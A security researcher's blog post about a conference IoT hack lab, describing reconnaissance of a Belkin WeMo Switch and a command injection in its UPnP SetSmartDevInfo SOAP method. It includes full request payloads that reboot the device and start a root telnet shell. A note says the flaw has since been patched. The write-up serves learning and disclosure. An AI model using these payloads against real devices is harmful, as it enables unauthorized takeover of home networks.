My SecTor Story: Root Shell on the Belkin WeMo Switch

*Updated 12/7/2015 – NOTE: The WeMo attack vector described in this article was resolved with WeMo firmware release 2.00.8643. Customers are encouraged to install the latest update immediately.

There were many activities hosted at SecTor 2015. My favorite activity was the Internet of Things Hack Lab sponsored by Tripwire. The term Internet of Things (IoT) refers to physical devices that have networking capabilities. These devices or “things” can vary greatly in terms of their capabilities, such as smart light bulbs, smart thermostats, and smart outlets, like the one that I will be talking about later in this post. Researchers from Tripwire were on hand to help attendees explore the world of IoT hacking. They brought with them a table full of devices ranging from routers to smart televisions. They also had a video demonstration of the exploitation of vulnerabilities in a home router. On the first day of the conference, I was walking around, talking to a bunch of vendors to see what they did, what software or hardware they made, and what services they offered. Nearing the end of the day, I decided to check out the IoT Hack Lab. I was fascinated by the devices that they had and decided to talk to them about what was going on. They told me that most of the devices here had vulnerabilities and that anyone was welcome to sit down and attempt to exploit them. Interested by the possibility to get my hands dirty and exploit vulnerabilities, I decided to participate. Unfortunately, there were no available laptops to use at the time, so I decided to come back the next day. The following day I showed up with my laptop, a Kali Linux VM, and a wireless adapter. I sat down and began looking for the vulnerabilities the devices had. The first device that I looked at was a TRENDNet router with an authentication bypass vulnerability that I successfully exploited. The second device was a Belkin WeMo Switch; this post details my experiences with that device and a protocol that I had heard about but had never really looked into.

About the Device

The Belkin WeMo Switch is part of Belkin’s home automation lineup. The switch is used for turning the attached device on and off. The attached device can also be placed on a schedule. Here are some details about the device I used: Device: WeMo Switch Firmware: WeMo_WW_2.00.8326.PVT-OWRT-SNS When an unconfigured Belkin WeMo Switch is first powered on it advertises a wireless network (SSID: WeMo.Switch.X, where X is the last three characters of the serial number). Typically, a smartphone is used to configure the WeMo to have it connect to your existing wireless network. When I connected my computer to the WeMo’s wireless network I was given 10.22.22.102 as my IP address. Using netdiscover (netdiscover -i wlan0 -r 10.22.22.0/24), I determined that the IP address of the WeMo was 10.22.22.1.

Scanning the device

Once I determined the IP address of WeMo, the next step was to scan it to determine which ports were open. Using nmap (nmap -sS -sU -sV -v -e wlan0 10.22.22.1), I determined that the following ports were open:

PORT	STATE	SERVICE VERSION
53/tcp	open	domain dnsmasq 2.52
49152/tcp open	open	upnp   Belkin Wemo upnpd (UPnP 1.0)
53/udp	open	domain dnsmasq 2.52
67/udp	open|filtered	dhcps
1900/udp	open|filtered	upnp

MAC Address: XX:XX:XX:XX:XX:XX (Belkin International)

How to talk to the device

Navigating to 10.22.22.1 on port 49152 in the browser resulted in a 404. It was time to determine which UPnP services are available by issuing an M-SEARCH command. printf "M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nST:upnp:rootdevice\r\nMX:10\r\nMAN:\"ssdp:discover\"\r\n\r\n" | nc -u 239.255.255.250 1900 -p 1900 While issuing the command above, I had a netcat listener running, and I received the following response: nc -lup 1900 HTTP/1.1 200 OK CACHE-CONTROL: max-age=86400 DATE: Sat, 01 Jan 2000 01:23:41 GMT EXT: LOCATION: http://10.22.22.1:49152/setup.xml OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01 01-NLS: 794dc9a6-1dd2-11b2-9c60-cdf5773d7a81 SERVER: Unspecified, UPnP/1.0, Unspecified X-User-Agent: redsonic ST: upnp:rootdevice USN: uuid:Socket-1_0-XXXXXXXXXXXXXX::upnp:rootdevice Navigating to http://10.22.22.1:49152/setup.xml resulted in a document that details specifics about the device, such as model name, model number, serial number and much more. This document also lists the services that can be accessed via UPnP, and a path to an XML document that outlines the methods and variables. One of the interesting services is basicevent, and the document that details the methods of that service is located at http://10.22.22.1:49152/eventservice.xml.

Finding the vulnerability

There were a few methods that accept input, they included:

• ChangeFriendlyName
• SetSmartDevInfo

In order to use those methods I had to craft SOAP requests. Here is a sample request template: POST <Service URL> HTTP/1.1 Content-Length: <variable> SOAPACTION: "<Service Type>#<Method>" Content-Type: text/xml; charset="utf-8" Accept: "" <?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:<Method> xmlns:u="<Service Type>"> <<Variable>><Value></<Variable>> </u:<Method>> </s:Body> </s:Envelope> The ChangeFriendlyName method did not seem to be vulnerable. However, the SetSmartDevInfo method did seem to be vulnerable. When I set the SmartDevURL variable to `reboot` the device rebooted. This is what that request looked like: POST /upnp/control/basicevent1 HTTP/1.1 Content-Length: <variable> SOAPACTION: "urn:Belkin:service:basicevent:1#SetSmartDevInfo" Content-Type: text/xml; charset="utf-8" Accept: ""   <?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1"> <SmartDevURL>`reboot`</SmartDevURL> </u:SetSmartDevInfo> </s:Body> </s:Envelope> The next step was to find a way to get a shell.

Getting Root

Knowing that I could execute commands, it was time to get a shell. It might be possible to start some kind of login service like Telnet or SSH. I tried to start telnetd by setting the SmartDevURL value to `telnetd`. I then did a quick TCP scan (nmap -sS -vvv 10.22.22.1) of the device to determine if telnet was running.

PORT	STATE	SERVICE	REASON
23/tcp	open	telnet	syn-ack ttl 64
53/tcp	open	domain	syn-ack ttl 64
49152/tcp	open	unknown	syn-ack ttl 64

MAC Address: XX:XX:XX:XX:XX:XX (Belkin International) It looked like I was able to start Telnet. When trying to Telnet into the device I was prompted for a username and password. After about 5 minutes of trying common default username and password combinations, I decided to see how I could login without knowing the credentials. After some research I discovered that telnetd can be started with the –l flag that specifies the login executable. By setting the SmartDevURL variable to `telnetd –l /bin/sh` I should now be given a shell instead of a login prompt. It worked. The request looked like: POST /upnp/control/basicevent1 HTTP/1.1 Content-Length: <variable> SOAPACTION: "urn:Belkin:service:basicevent:1#SetSmartDevInfo" Content-Type: text/xml; charset="utf-8" Accept: ""   <?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1"> <SmartDevURL>`telnetd -l /bin/sh`</SmartDevURL> </u:SetSmartDevInfo> </s:Body> </s:Envelope>

Final Remarks

Once root was obtained the possibilities were endless. I now had full control of the WeMo, allowing me to turn on and off the device connected to the outlet. In addition, it would be possible to modify how the device operates, such as adding in additional functionality. Having this level of control over the device also allows one to use the device maliciously. One can use it as a node in attacks, a pivot point into the network that it is connected to or as another bot in a botnet. Overall this was a great activity that was hosted at SecTor 2015 and it would be great if there were more activities like this in the future. It was a great way to learn new skills.   About the Author: Bryon Hart is an information systems security professional who is passionate about what he does. He is a recent graduate of the Bachelor of Applied Information Sciences program at Sheridan College. He also has a diploma in Computer Engineering from Sheridan College. Bryon is currently employed as a security analyst with Duff and Phelps' Information Security Services team. Editor’s Note: The opinions expressed in this guest author article are solely those of the contributor, and do not necessarily reflect those of Tripwire, Inc. _{Title image courtesy of ShutterStock}